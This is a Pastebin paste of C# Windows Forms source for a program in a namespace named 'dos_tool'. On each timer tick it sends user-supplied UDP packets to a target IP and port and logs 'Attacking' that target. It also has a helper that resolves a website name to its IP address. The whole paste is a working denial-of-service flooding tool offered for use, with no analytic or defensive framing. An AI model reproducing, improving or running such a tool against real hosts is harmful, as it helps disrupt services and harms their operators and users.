Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.Net;
- using System.Net.Sockets;
- using System.IO;
- namespace dos_tool
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- private void Timer1_Tick(object sender, EventArgs e)
- {
- listBox1.Items.Add("Attacking"+ " " + vitalityTextBox1.Text + " " + "With Packets");
- byte[] packets = System.Text.ASCIIEncoding.ASCII.GetBytes(vitalityTextBox3.Text);
- string IP = vitalityTextBox1.Text;
- string strport = vitalityTextBox2.Text;
- int port;
- port = int.Parse(strport);
- IPEndPoint endP = new IPEndPoint(IPAddress.Parse(IP), port);
- Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
- client.SendTo(packets, endP);
- }
- private void vitalityButton1_Click(object sender, EventArgs e)
- {
- timer1.Enabled = true;
- }
- private void vitalityButton3_Click(object sender, EventArgs e)
- {
- timer1.Enabled = false;
- }
- private void vitalityButton2_Click(object sender, EventArgs e)
- {
- vitalityTextBox1.Clear();
- vitalityTextBox2.Clear();
- vitalityTextBox3.Clear();
- vitalityTextBox4.Clear();
- listBox1.Items.Clear();
- listBox1.Items.Clear();
- }
- private void vitalityButton4_Click(object sender, EventArgs e)
- {
- try
- {
- IPHostEntry hostname = Dns.GetHostEntry(vitalityTextBox4.Text);
- IPAddress[] ip = hostname.AddressList;
- vitalityTextBox5.Text = ip[0].ToString();
- }
- catch (Exception)
- {
- MessageBox.Show("Please Enter a valid Website!");
- }
- }
- private void X_Click(object sender, EventArgs e)
- {
- this.Close();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement